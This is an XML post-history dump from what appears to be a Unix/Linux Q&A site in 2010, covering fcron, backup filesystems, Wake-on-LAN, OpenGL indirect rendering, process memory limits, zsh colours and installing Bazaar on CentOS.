  <row Id="2774" PostHistoryTypeId="2" PostId="1429" RevisionGUID="392992a6-66ff-4b74-a634-b4db5f46f812" CreationDate="2010-08-31T15:28:54.030" UserId="305" Text="I recently migrated from vixie-cron to fcron on my laptop. I have a question - how does f-cron knows if particular job was run in given period of time?&#xD;&#xA;&#xD;&#xA;As a file can change during running what constitute a different job? if I change for example from running daily to weekly will it be rerunned?" />
  <row Id="2775" PostHistoryTypeId="1" PostId="1429" RevisionGUID="392992a6-66ff-4b74-a634-b4db5f46f812" CreationDate="2010-08-31T15:28:54.030" UserId="305" Text="How does fcron knows wheather the job was run" />
  <row Id="2776" PostHistoryTypeId="3" PostId="1429" RevisionGUID="392992a6-66ff-4b74-a634-b4db5f46f812" CreationDate="2010-08-31T15:28:54.030" UserId="305" Text="écronà" />
  <row Id="2777" PostHistoryTypeId="2" PostId="1430" RevisionGUID="3bc33d30-424b-4455-8070-a0dc475c9d97" CreationDate="2010-08-31T15:55:17.160" UserId="305" Text="What filesystem would be best for backups? I'm interested primary in stability (especially uncorruptability of files during hard reboots etc.) but how efficient it handles large (&gt;5GB) files is also important.&#xD;&#xA;&#xD;&#xA;Also which parameters of mount should I use?&#xD;&#xA;&#xD;&#xA;Kernel is Linux &gt;= 2.6.34." />
  <row Id="2778" PostHistoryTypeId="1" PostId="1430" RevisionGUID="3bc33d30-424b-4455-8070-a0dc475c9d97" CreationDate="2010-08-31T15:55:17.160" UserId="305" Text="Rock-stable filesystem for large files (backups) for linux" />
  <row Id="2779" PostHistoryTypeId="3" PostId="1430" RevisionGUID="3bc33d30-424b-4455-8070-a0dc475c9d97" CreationDate="2010-08-31T15:55:17.160" UserId="305" Text="élinuxàéfilesystemsàébackupà" />
  <row Id="2780" PostHistoryTypeId="2" PostId="1431" RevisionGUID="88239ec7-f046-4f38-82c5-445e56378767" CreationDate="2010-08-31T16:18:05.903" UserId="137" Text="btrfs has transparent checksumming of data written to disk and a fast ordered-writes mode that is always on (and many other backup-friendly features) which makes it appealing for backups. See https://btrfs.wiki.kernel.org/index.php/Main_Page for more details." />
  <row Id="2781" PostHistoryTypeId="2" PostId="1432" RevisionGUID="e11a2223-5aea-43f5-946d-ef2cc7b490e3" CreationDate="2010-08-31T16:30:59.877" UserId="138" Text="OS X can do this now, as of Snow Leopard.  It's made possible through the &lt;a href=&quot;http://en.wikipedia.org/wiki/Sleep_Proxy_Service&quot;&gt;Sleep Proxy Service&lt;/a&gt;.  It's pretty much automatic.  The only requirement is that you have a second always-on Apple device on your LAN that can act as the sleep proxy.  Their current low-power embedded boxes all support this, I believe: Airport, Time Machine, and Apple TV.&#xD;&#xA;&#xD;&#xA;In the general case, though, I believe the answer is no.  I'm not aware of any other OS that has implemented a service like this.  The technology is open source, so there's no reason this couldn't be everywhere eventually.  It's probably too new to see widespread adoption just yet.&#xD;&#xA;&#xD;&#xA;You might now be asking, why do you need a second Apple box on the LAN?&#xD;&#xA;&#xD;&#xA;When a PC is asleep, the kernel &amp;mdash; and therefore the network stack &amp;mdash; is not running, so there is no code in your OS that can respond to a &quot;magic&quot; packet of the sort you're wishing for.&#xD;&#xA;&#xD;&#xA;Wake-on-LAN magic packets aren't handled by the OS.  They're recognized by the network interface IC, which responds by sending a signal to the CPU that releases it from the sleep state.  It can do this because the IC remains powered up in some sleep states.  (This is why the Ethernet link light stays on while a PC is &quot;off&quot; on some machines.)&#xD;&#xA;&#xD;&#xA;The reason the Apple technology works is that just before the PC goes to sleep, it notifies the sleep proxy.  The sleep proxy then arranges to temporarily accept traffic for the sleeping machine, and if it gets something interesting, it sends a WOL packet to the PC and hands off the traffic it received." />
  <row Id="2782" PostHistoryTypeId="6" PostId="1427" RevisionGUID="8e27e3f3-183c-4c33-9661-250344dc30fe" CreationDate="2010-08-31T16:33:30.027" UserId="138" Comment="added tags" Text="énetworkingàéfileöserveràéwakeàésleepà" />
  <row Id="2783" PostHistoryTypeId="2" PostId="1433" RevisionGUID="3caccb8f-4037-455a-b416-7e10f65639ee" CreationDate="2010-08-31T16:42:28.613" UserId="1207" Text="I have had luck using [PowerNap][1] (it is packaged for ubuntu-sever, but the source is there so you should be able to compile it on anything) to suspend backup machines when they aren't doing anything.  However, this won't wake them up automatically.  There is also a PowerWake program bundled with PowerNap that provides a bit of abstraction to the Wake-On-Lan process (makes it easy to send WOL just with the hostname, for instance), but it is still not automatic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/powernap" />
  <row Id="2784" PostHistoryTypeId="2" PostId="1434" RevisionGUID="7e97df2e-ecad-415d-b0b1-34574b6328cb" CreationDate="2010-08-31T16:53:57.620" UserId="1131" Text="Just use a backup tool that support checksums. For example [Dar][1] does, and it supports incremental backups. Then you can backup to a rock solid filesystem like ext3.&#xD;&#xA;&#xD;&#xA;For backups you want something rock solid/very stable. And btrfs or ZFS are simply not ready today.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dar.linux.free.fr/" />
  <row Id="2785" PostHistoryTypeId="5" PostId="1430" RevisionGUID="a008f486-44cc-47a9-8825-3c3fb32072fe" CreationDate="2010-08-31T17:00:20.787" UserId="305" Comment="added 84 characters in body" Text="What filesystem would be best for backups? I'm interested primary in stability (especially uncorruptability of files during hard reboots etc.) but how efficient it handles large (&gt;5GB) files is also important.&#xD;&#xA;&#xD;&#xA;Also which parameters of mount should I use?&#xD;&#xA;&#xD;&#xA;Kernel is Linux &gt;= 2.6.34.&#xD;&#xA;&#xD;&#xA;**EDIT:** I do *not* want backup methods. I need the filesystem to store them.&#xD;&#xA;" />
  <row Id="2786" PostHistoryTypeId="2" PostId="1435" RevisionGUID="fde127c0-14c3-40c3-9808-fbea5738079d" CreationDate="2010-08-31T17:02:24.713" UserId="29" Text="You can use ext4 but I would recommend mounting with `journal_data` mode which will turn off dealloc (delayed allocation) which 'caused some earlier problems, it's extents will still help with fragmentation, and it will make delete's of large files much faster than ext3. ext4 also `fsck` 's faster than ext3. One last note, there were bugfixes in ext4 up to like 2.6.31? I would basically make sure you aren't running a kernel pre 2.6.32 which is an LTS kernel." />
  <row Id="2787" PostHistoryTypeId="5" PostId="1435" RevisionGUID="7ac102ed-885a-4be2-98eb-9328618cbedc" CreationDate="2010-08-31T17:29:45.780" UserId="29" Comment="improved formatting" Text="You can use **ext4** but I would recommend mounting with `journal_data` mode which will turn off dealloc (delayed allocation) which 'caused some earlier problems, it's extents will still help with fragmentation, and it will make delete's of large files much faster than ext3. ext4 also `fsck` 's faster than ext3. One last note, there were bugfixes in ext4 up to like 2.6.31? I would basically make sure you aren't running a kernel pre 2.6.32 which is an LTS kernel." />
  <row Id="2788" PostHistoryTypeId="2" PostId="1436" RevisionGUID="fc8d2cf4-c190-4313-84e3-f806c4e7c7ff" CreationDate="2010-08-31T17:31:53.000" UserId="651" Text="During initialization (and at any time a user runs fcrontab -z), fcron loads and compiles the fcrontabs. Fcron then computes the time before the next job execution and sleeps for that time.&#xD;&#xA;&#xD;&#xA;The time remaining until next execution is saved each time the system is stopped." />
  <row Id="2789" PostHistoryTypeId="5" PostId="1435" RevisionGUID="7fe3b913-3084-4f9d-8d48-b70588854c19" CreationDate="2010-08-31T17:55:05.303" UserId="29" Comment="add more details" Text="You can use **ext4** but I would recommend mounting with `journal_data` mode which will turn off dealloc (delayed allocation) which 'caused some earlier problems. The disabling of dealloc will make new data writes slower, but make writes in the event of power failure less likely to have loss.&#xD;&#xA;&#xD;&#xA;Extents will still help with fragmentation. Extents make delete's of large files much faster than ext3, a delete of any sized data (single file) should be near instantaneous on ext4 but can take a long time on ext3. (any extent based FS has this advantage)&#xD;&#xA;&#xD;&#xA;ext4 also `fsck` 's faster than ext3.&#xD;&#xA;&#xD;&#xA;One last note, there were bugfixes in ext4 up to like 2.6.31? I would basically make sure you aren't running a kernel pre 2.6.32 which is an LTS kernel." />
  <row Id="2790" PostHistoryTypeId="2" PostId="1437" RevisionGUID="a7aab57f-57db-4da4-b0ee-8c49908ecb93" CreationDate="2010-08-31T18:40:01.077" UserId="29" Text="KDE SC 4.5.0 has some problems with some video cards including mine. Upon Release [Arch recommended several workarounds][1]. One of which was&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;export &quot;LIBGL_ALWAYS_INDIRECT=1&quot; before starting KDE&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I decided that it was the easiest, best method. But I don't know what it does or how it impacts my system. Is it slower than the default? should I remember to keep an I on it and disable it later once it's fixed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/news/507/" />
  <row Id="2791" PostHistoryTypeId="1" PostId="1437" RevisionGUID="a7aab57f-57db-4da4-b0ee-8c49908ecb93" CreationDate="2010-08-31T18:40:01.077" UserId="29" Text="What does LIBGL_ALWAYS_INDIRECT=1 actually do?" />
  <row Id="2792" PostHistoryTypeId="3" PostId="1437" RevisionGUID="a7aab57f-57db-4da4-b0ee-8c49908ecb93" CreationDate="2010-08-31T18:40:01.077" UserId="29" Text="ékdeàéopenglàébugöworkaroundà" />
  <row Id="2793" PostHistoryTypeId="5" PostId="1437" RevisionGUID="2e5008f9-d4bf-4952-9990-2389ede9e1f0" CreationDate="2010-08-31T18:48:48.327" UserId="29" Comment="remove phonetic spelling error" Text="KDE SC 4.5.0 has some problems with some video cards including mine. Upon Release [Arch recommended several workarounds][1]. One of which was&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;export &quot;LIBGL_ALWAYS_INDIRECT=1&quot; before starting KDE&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I decided that it was the easiest, best method. But I don't know what it does or how it impacts my system. Is it slower than the default? should I remember to keep an eye on the problem and disable it later once it's fixed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/news/507/" />
  <row Id="2794" PostHistoryTypeId="5" PostId="1430" RevisionGUID="41a6d306-0a0d-4c8a-ba2c-8f9a5839a4cd" CreationDate="2010-08-31T19:18:14.647" UserId="73" Comment="edited body" Text="What filesystem would be best for backups? I'm interested primary in stability (especially uncorruptability of files during hard reboots etc.) but how efficiently it handles large (&gt;5GB) files is also important.&#xD;&#xA;&#xD;&#xA;Also, which mount parameters should I use?&#xD;&#xA;&#xD;&#xA;Kernel is Linux &gt;= 2.6.34.&#xD;&#xA;&#xD;&#xA;**EDIT:** I do *not* want backup methods. I need the filesystem to store them.&#xD;&#xA;" />
  <row Id="2795" PostHistoryTypeId="5" PostId="1429" RevisionGUID="d3a6b678-bbe8-4ce1-aaf8-e25784bf8e7d" CreationDate="2010-08-31T19:19:55.303" UserId="73" Comment="edited body; edited title" Text="I recently migrated from vixie-cron to fcron on my laptop. I have a question: how does fcron knows if a particular job was run in given period of time?&#xD;&#xA;&#xD;&#xA;As a file can change during running, what constitute a different job? if I change for example from running daily to weekly, will it be re-run?" />
  <row Id="2796" PostHistoryTypeId="4" PostId="1429" RevisionGUID="d3a6b678-bbe8-4ce1-aaf8-e25784bf8e7d" CreationDate="2010-08-31T19:19:55.303" UserId="73" Comment="edited body; edited title" Text="How does fcron knows whether the job was run?" />
  <row Id="2797" PostHistoryTypeId="2" PostId="1438" RevisionGUID="f4550a33-ab7c-45b4-8aad-ff5340893c44" CreationDate="2010-08-31T19:28:43.207" UserId="1353" Text="There is the [setrlimit() function][rl], which allows to configure a process' limits in C. The idea would be to write a C program which calls setrlimit then execs the command you want to be limited.&#xD;&#xA;&#xD;&#xA;Luckily someone already wrote something similar. It can be downloaded from [freshmeat][fm]. I had a quick look at the source code and it seems to be fine. Use rlimit at your own discretion. Note that rlimit also cannot change other processes' limits.&#xD;&#xA;&#xD;&#xA;[rl]: http://linux.die.net/man/2/setrlimit&#xD;&#xA;[fm]: http://freshmeat.net/projects/rlimit" />
  <row Id="2798" PostHistoryTypeId="2" PostId="1439" RevisionGUID="beae70d9-357d-42c5-b79f-7647fcac6a0d" CreationDate="2010-08-31T20:05:24.127" UserDisplayName="lenin" Text="Personally I prefer to use a Debian based distro, I like aptitude better than yum and I know you can use another package manager if you want, but I still prefer to have the one I like preinstalled. It just feels snappier.&#xD;&#xA;&#xD;&#xA;I've been using Ubuntu on my main machine, but if you want better performance you should try [Crunchbang Linux][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://crunchbanglinux.org/" />
  <row Id="2799" PostHistoryTypeId="16" PostId="1439" RevisionGUID="beae70d9-357d-42c5-b79f-7647fcac6a0d" CreationDate="2010-08-31T20:05:24.127" UserId="-1" />
  <row Id="2800" PostHistoryTypeId="2" PostId="1440" RevisionGUID="a54cdd09-61ff-4107-8046-dba45d659765" CreationDate="2010-08-31T20:07:30.210" UserId="263" Text="XFS is rock solid and has been in the kernel for ages. Examine tools like xfs_freeze and see if it is what you are looking for. I know this is highly subjective but I have used XFS for data storage for years without incident." />
  <row Id="2801" PostHistoryTypeId="5" PostId="1435" RevisionGUID="580c25f8-278c-4f91-b55a-0d7b2f8c0bd9" CreationDate="2010-08-31T20:08:02.630" UserId="29" Comment="more dealloc and journal_data info" Text="You can use **ext4** but I would recommend mounting with `journal_data` mode which will turn off dealloc (delayed allocation) which 'caused some earlier problems. The disabling of dealloc will make new data writes slower, but make writes in the event of power failure less likely to have loss. I should also mention that you can disable dealloc without using `journal_data` which has some other benefits (or at least it did in ext3), such as slightly improved reads, and I believe better recovery.&#xD;&#xA;&#xD;&#xA;Extents will still help with fragmentation. Extents make delete's of large files much faster than ext3, a delete of any sized data (single file) should be near instantaneous on ext4 but can take a long time on ext3. (any extent based FS has this advantage)&#xD;&#xA;&#xD;&#xA;ext4 also `fsck` 's faster than ext3.&#xD;&#xA;&#xD;&#xA;One last note, there were bugfixes in ext4 up to like 2.6.31? I would basically make sure you aren't running a kernel pre 2.6.32 which is an LTS kernel." />
  <row Id="2802" PostHistoryTypeId="2" PostId="1441" RevisionGUID="274def84-fac4-4dbe-86dc-452e819e926f" CreationDate="2010-08-31T20:10:16.463" UserId="305" Text="Indirect rendering means that the GLX protocol will be used to transmit OpenGL commands and the X.org will do the real drawing.&#xD;&#xA;&#xD;&#xA;[Direct rendering][1] means that application can access hardware directly without communication with X.org first via mesa.&#xD;&#xA;&#xD;&#xA;The direct rendering is faster as it does not require change of context into X.org process. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Direct_Rendering_Infrastructure" />
  <row Id="2803" PostHistoryTypeId="5" PostId="1433" RevisionGUID="a1ae2549-9f34-4c55-b38b-748fd1ade475" CreationDate="2010-08-31T20:19:21.013" UserId="1207" Comment="added 624 characters in body; added 4 characters in body" Text="I have had luck using [PowerNap][1] (it is packaged for ubuntu-sever, but the source is there so you should be able to compile it on anything) to suspend backup machines when they aren't doing anything.  However, this won't wake them up automatically.  There is also a PowerWake program bundled with PowerNap that provides a bit of abstraction to the Wake-On-Lan process (makes it easy to send WOL just with the hostname, for instance), but it is still not automatic.&#xD;&#xA;&#xD;&#xA;Edit.&#xD;&#xA;Another Option:&#xD;&#xA;&#xD;&#xA;I don't know much about it because I've never used it, but some cards are capable of waking on any unicast message.  You can see if your card has the capability using ethertool&#xD;&#xA;&#xD;&#xA;    # ethertool eth0 &#xD;&#xA;&#xD;&#xA;Substitute eth0 for your network device.  Then look at the output for the line starting with &quot;Supports Wake-on:&quot;.  If &quot;u&quot; is listed on that line, then you can do the following at boot(ie, in an init script or something similar):&#xD;&#xA;&#xD;&#xA;    ethtool eth0 wol u&#xD;&#xA;&#xD;&#xA;Combined with PowerNap or anything else that puts the machine to sleep under some conditions, this should provide what you are looking for.&#xD;&#xA;  [1]: https://launchpad.net/powernap" />
  <row Id="2804" PostHistoryTypeId="5" PostId="1433" RevisionGUID="4aad962b-95b9-4c83-a641-101f3f216f9d" CreationDate="2010-08-31T20:30:10.040" UserId="1207" Comment="added 3 characters in body" Text="I have had luck using [PowerNap][1] (it is packaged for ubuntu-sever, but the source is there so you should be able to compile it on anything) to suspend backup machines when they aren't doing anything.  However, this won't wake them up automatically.  There is also a PowerWake program bundled with PowerNap that provides a bit of abstraction to the Wake-On-Lan process (makes it easy to send WOL just with the hostname, for instance), but it is still not automatic.&#xD;&#xA;&#xD;&#xA;Edit.&#xD;&#xA;Another Option:&#xD;&#xA;&#xD;&#xA;I don't know much about it because I've never used it, but some cards are capable of waking on any unicast message.  You can see if your card has the capability using ethertool&#xD;&#xA;&#xD;&#xA;    # ethertool eth0 &#xD;&#xA;&#xD;&#xA;Substitute eth0 for your network device.  Then look at the output for the line starting with &quot;Supports Wake-on:&quot;.  If &quot;u&quot; is listed on that line, then you can do the following at boot(ie, in an init script or something similar):&#xD;&#xA;&#xD;&#xA;    ethtool -s eth0 wol u&#xD;&#xA;&#xD;&#xA;Combined with PowerNap or anything else that puts the machine to sleep under some conditions, this should provide what you are looking for.&#xD;&#xA;  [1]: https://launchpad.net/powernap" />
  <row Id="2805" PostHistoryTypeId="5" PostId="1441" RevisionGUID="4c3a3628-8d32-44e3-92d0-6ce6888dd5ee" CreationDate="2010-08-31T20:39:37.720" UserId="305" Comment="added 706 characters in body" Text="Indirect rendering means that the GLX protocol will be used to transmit OpenGL commands and the X.org will do the real drawing.&#xD;&#xA;&#xD;&#xA;[Direct rendering][1] means that application can access hardware directly without communication with X.org first via mesa.&#xD;&#xA;&#xD;&#xA;The direct rendering is faster as it does not require change of context into X.org process. &#xD;&#xA;&#xD;&#xA;**Clarification:** In both cases the rendering is done by GPU (or technically - may be done by GPU). However in indirect rendering the process looks like:&#xD;&#xA;&#xD;&#xA;1. Program calls a command(s)&#xD;&#xA;2. Command(s) is/are sent to X.org by GLX protocol&#xD;&#xA;3. X.org calls hardware (i.e. GPU) to draw &#xD;&#xA;&#xD;&#xA;In direct rendering&#xD;&#xA;&#xD;&#xA;1. Program calls a command(s)&#xD;&#xA;2. Command(s) is/are sent to GPU&#xD;&#xA;&#xD;&#xA;Please note that because OpenGL was designed in such way that may operate over network the indirect rendering is faster then would be naive implementation of architecture i.e. allows to send a buch of commands in one go. However there is some overhead in terms of CPU time spent for context switches and handling protocol.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Direct_Rendering_Infrastructure" />
  <row Id="2806" PostHistoryTypeId="6" PostId="1437" RevisionGUID="6a49b121-1e73-4147-ae53-b65d342ff6d5" CreationDate="2010-08-31T21:03:22.240" UserId="29" Comment="add xorg tag" Text="ékdeàéxorgàéopenglàébugöworkaroundà" />
  <row Id="2807" PostHistoryTypeId="6" PostId="1397" RevisionGUID="00bd51b0-1df9-43a0-bf7b-f40391e3b5da" CreationDate="2010-08-31T21:15:02.960" UserId="29" Comment="add shell tag" Text="éshellàézshàépromptà" />
  <row Id="2808" PostHistoryTypeId="6" PostId="1396" RevisionGUID="9fed6c92-8439-4922-9f7e-1f4368a10f69" CreationDate="2010-08-31T21:15:38.983" UserId="29" Comment="add shell tag" Text="éshellàézshàépromptàétermcapà" />
  <row Id="2809" PostHistoryTypeId="2" PostId="1442" RevisionGUID="2d8673d2-a160-46be-8be8-faf421ad0439" CreationDate="2010-08-31T21:44:27.777" UserId="1265" Text="If you just want to test and measure the memory usage of your program please look at [time][1].&#xD;&#xA;You can measure the resource usage of your program in many aspects including the terms of CPU Time and memory usage. Following command will give you the memory usage and CPU time usage of `myProgram`:&#xD;&#xA;&#xD;&#xA;    /usr/bin/time myProgram&#xD;&#xA;&#xD;&#xA;(Be sure to give the absolute path to distinguish it from bash built-in time command.)&#xD;&#xA;&#xD;&#xA;If you just want to limit the resources of your process, i recommend you to create a test user for this specific task. Limit the resources of this user according to your needs and run the process by the user. It seems that, in *nix world, resource management based on users is much more advanced than resource management based on processes. &#xD;&#xA;&#xD;&#xA;You can check `/etc/security/limits.conf` to limit the resources of a user. Or you can use `ulimit` after logged in with the to-be-limited user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?time" />
  <row Id="2810" PostHistoryTypeId="2" PostId="1443" RevisionGUID="4ef38b67-b679-49df-b902-86df2f07faec" CreationDate="2010-08-31T21:49:56.717" UserId="29" Text="I know there are ways to use ANSI color names in zsh (such as red) but zsh supports 256 colors by number, what I'm curious is, if there's any way to refer to the non ANSI colors by a name? (without just sticking them in a variable)" />
  <row Id="2811" PostHistoryTypeId="1" PostId="1443" RevisionGUID="4ef38b67-b679-49df-b902-86df2f07faec" CreationDate="2010-08-31T21:49:56.717" UserId="29" Text="is it possible to use named colors in zsh beyond ANSI names?" />
  <row Id="2812" PostHistoryTypeId="3" PostId="1443" RevisionGUID="4ef38b67-b679-49df-b902-86df2f07faec" CreationDate="2010-08-31T21:49:56.717" UserId="29" Text="éshellàézshàécolorsà" />
  <row Id="2813" PostHistoryTypeId="5" PostId="33" RevisionGUID="4e0d9052-6e52-4f51-b62a-42ad225fedba" CreationDate="2010-08-31T22:22:37.147" UserId="84" Comment="edited body" Text="Keep your /home on a separate partition. This way, it will not be overwritten when you switch to another distro or upgrade your current one. It's also a good idea to have your swap on its own partition. But that should be done automatically by your distro's installer.&#xD;&#xA;&#xD;&#xA;The way my laptop is setup, I have the following partitions:&#xD;&#xA;&#xD;&#xA;/ &lt;br /&gt;&#xD;&#xA;/home &lt;br /&gt;&#xD;&#xA;/boot &lt;br /&gt;&#xD;&#xA;swap &lt;br /&gt;" />
  <row Id="2814" PostHistoryTypeId="5" PostId="1443" RevisionGUID="cc02f765-98c3-4096-b2c1-a05de1411aea" CreationDate="2010-08-31T22:39:22.183" UserId="73" Comment="deleted 8 characters in body; edited title" Text="I know there are ways to use ANSI color names in ZSH (such as red), but ZSH supports 256 colors by number. I'm curious if there's any way to refer to the non-ANSI colors by a name? (Without just sticking them in a variable)" />
  <row Id="2815" PostHistoryTypeId="4" PostId="1443" RevisionGUID="cc02f765-98c3-4096-b2c1-a05de1411aea" CreationDate="2010-08-31T22:39:22.183" UserId="73" Comment="deleted 8 characters in body; edited title" Text="Is it possible to use named colors in ZSH beyond ANSI names?" />
  <row Id="2816" PostHistoryTypeId="5" PostId="1443" RevisionGUID="c3338cc9-82dd-49f8-8e38-b760049f843f" CreationDate="2010-08-31T22:58:43.533" UserId="29" Comment="correct ZSH edits" Text="I know there are ways to use ANSI color names in Zsh (such as red), but Zsh supports 256 colors by number. I'm curious if there's any way to refer to the non-ANSI colors by a name? (Without just sticking them in a variable)" />
  <row Id="2817" PostHistoryTypeId="4" PostId="1443" RevisionGUID="c3338cc9-82dd-49f8-8e38-b760049f843f" CreationDate="2010-08-31T22:58:43.533" UserId="29" Comment="correct ZSH edits" Text="Is it possible to use named colors in Zsh beyond ANSI names?" />
  <row Id="2818" PostHistoryTypeId="2" PostId="1444" RevisionGUID="1880a75b-4773-4adb-92c2-01187db94d2a" CreationDate="2010-08-31T23:10:34.993" UserId="885" Text="To set the limit when starting the program, use `ulimit -v 400`, as indicated by [polemon](http://unix.stackexchange.com/questions/1424/is-there-a-way-to-limit-the-amount-of-memory-a-particular-process-can-use-in-unix/1425#1425). This sets the limit for the shell and all its descendants, so in a script you might want to use something like `(ulimit -v 400; myprogram)` to limit the scope.&#xD;&#xA;&#xD;&#xA;If you need to change the limit for a running process, there's no utility for that. You have to get the process to execute the `setrlimit` system call. This can often be done with a debugger, although it doesn't always work reliably. Here's how you might do this with gdb (untested; 9 is the value of `RLIMIT_AS` on Linux):&#xD;&#xA;&#xD;&#xA;    gdb -n -pid $pid -batch -x /dev/stdin &lt;&lt;EOF&#xD;&#xA;    call setrlimit(9, {409600, -1})&#xD;&#xA;    detach&#xD;&#xA;    quit&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2819" PostHistoryTypeId="2" PostId="1445" RevisionGUID="d3db17db-fabc-4265-bff6-d3b940b25b8d" CreationDate="2010-08-31T23:11:05.287" UserId="601" Text="Generally you choose the distribution you are most familiar with and you tend to get to be familiar with the distribution you like the most.&#xD;&#xA;&#xD;&#xA;If there is no particular feature in a distribution that is unique to one distribution (user-friendliness in ubuntu, commitment to open source in debian, commercial support in SuSE and Red Hat and so on) that is a must-have for you then you'll just have to choose any one and **stick to it** for a time.&#xD;&#xA;&#xD;&#xA;If there were no reason for a distribution to exist and be popular, it wouldn't be around any more.&#xD;&#xA;&#xD;&#xA;Just don't be such a pussy about it!&#xD;&#xA;" />
  <row Id="2820" PostHistoryTypeId="16" PostId="1445" RevisionGUID="d3db17db-fabc-4265-bff6-d3b940b25b8d" CreationDate="2010-08-31T23:11:05.287" UserId="-1" />
  <row Id="2821" PostHistoryTypeId="2" PostId="1446" RevisionGUID="d072a8ed-a653-45c5-88e0-aa04681496d9" CreationDate="2010-08-31T23:15:20.130" UserId="29" Text="I see this in my dmesg log&#xD;&#xA;&#xD;&#xA;    EXT4-fs (md1): re-mounted. Opts: commit=0&#xD;&#xA;    EXT4-fs (md2): re-mounted. Opts: commit=0&#xD;&#xA;    EXT4-fs (md3): re-mounted. Opts: commit=0&#xD;&#xA;&#xD;&#xA;I think that means that dealloc is disabled? does mdadm not support dealloc?" />
  <row Id="2822" PostHistoryTypeId="1" PostId="1446" RevisionGUID="d072a8ed-a653-45c5-88e0-aa04681496d9" CreationDate="2010-08-31T23:15:20.130" UserId="29" Text="what is commit=0 for ext4? does mdadm not support it?" />
  <row Id="2823" PostHistoryTypeId="3" PostId="1446" RevisionGUID="d072a8ed-a653-45c5-88e0-aa04681496d9" CreationDate="2010-08-31T23:15:20.130" UserId="29" Text="éfilesystemsàésoftwareöraidàéext4àéoptionsàémdadmà" />
  <row Id="2824" PostHistoryTypeId="2" PostId="1447" RevisionGUID="65115adc-0b4b-4aec-89a9-5f71216f624f" CreationDate="2010-08-31T23:34:03.787" UserId="885" Text="The first 16 colors have been standard for a long time (and have mostly standard hues). 256 colors are a more recent extension defined by xterm and compatible terminals. The xterm documentation has this to say about colors 16–255:&#xD;&#xA;&#xD;&#xA;&gt; These  specify  the  colors  for  the 256-color extension.  The default resource values are for colors 16 through 231 to make a 6x6x6  color  cube,  and  colors  232  through  255  to  make a grayscale ramp.&#xD;&#xA;&#xD;&#xA;The colors can be changed from within the terminal; see the [`ctlseqs`](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) file. For example `print '\e]4;42;taupe\a'` changes color 42 to be taupe (the color names are available in `/etc/X11/rgb.txt` or some other distribution-dependent location).&#xD;&#xA;&#xD;&#xA;If you're content to assume that the colors above 16 have their default values, you could extend the `$color` array with names from `rgb.txt`. You'll need to do a bit of arithmetic to find the closest approximation of 8-bit colors in lg(6)-bit colors.&#xD;&#xA;" />
  <row Id="2825" PostHistoryTypeId="2" PostId="1448" RevisionGUID="d723afc2-5bb7-430a-81b0-2eb2b98a3e1e" CreationDate="2010-08-31T23:54:01.573" UserDisplayName="Brendan" Text="I have recently had to have our dedicated server rebuilt as core system files where deleted. But that's another story...&#xD;&#xA;&#xD;&#xA;Before the rebuild we where merging, branching and committing changes to a number of different projects with Bazarr. Now it seems that the hosting company has rebuilt the server at Centos 4.8 rather than 5.0, which I guess it was before. According to the support staff Bazaar is not compatible with the new OS.&#xD;&#xA;&#xD;&#xA;The support staff have said:&#xD;&#xA;&#xD;&#xA;&gt; I have installed all of the Bazaar&#xD;&#xA;&gt; Dependencies, however the missing&#xD;&#xA;&gt; dependencies for example;&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Missing Dependency: libc.so.6(GLIBC_2.4) is needed by&#xD;&#xA;&gt; package bzr&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is for a higher version of CentOS.&#xD;&#xA;&#xD;&#xA;My question is. Is this entirely true and is there anyway to get Bazaar working on Centos 4.8?&#xD;&#xA;&#xD;&#xA;If not, are there any other version control systems similar to Bazaar?&#xD;&#xA;&#xD;&#xA;Below is the log for the attempted installation of Bazaar.&#xD;&#xA;&#xD;&#xA;    Error: Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package bzr&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package bzr&#xD;&#xA;    Error: Missing Dependency: rtld(GNU_HASH) is needed by package bzr&#xD;&#xA;    Error: Missing Dependency: libcrypto.so.6 is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package python-paramiko&#xD;&#xA;    Error: Missing Dependency: rtld(GNU_HASH) is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: libssl.so.6 is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: rtld(GNU_HASH) is needed by package python-crypto&#xD;&#xA;    Error: Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package python-crypto&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package python-crypto&#xD;&#xA;    Error: Missing Dependency: python-abi = 2.4 is needed by package python-crypto&#xD;&#xA;&#xD;&#xA;*P.S I am new to Linux administration and version control. So go easy on me :)*" />
  <row Id="2826" PostHistoryTypeId="1" PostId="1448" RevisionGUID="d723afc2-5bb7-430a-81b0-2eb2b98a3e1e" CreationDate="2010-08-31T23:54:01.573" UserDisplayName="Brendan" Text="Version Control System. Similar to Bazaar needed for CentOS 4.8 dedicated hosting server" />
  <row Id="2827" PostHistoryTypeId="3" PostId="1448" RevisionGUID="d723afc2-5bb7-430a-81b0-2eb2b98a3e1e" CreationDate="2010-08-31T23:54:01.573" UserDisplayName="Brendan" Text="éversionàéversionöcontrolà" />
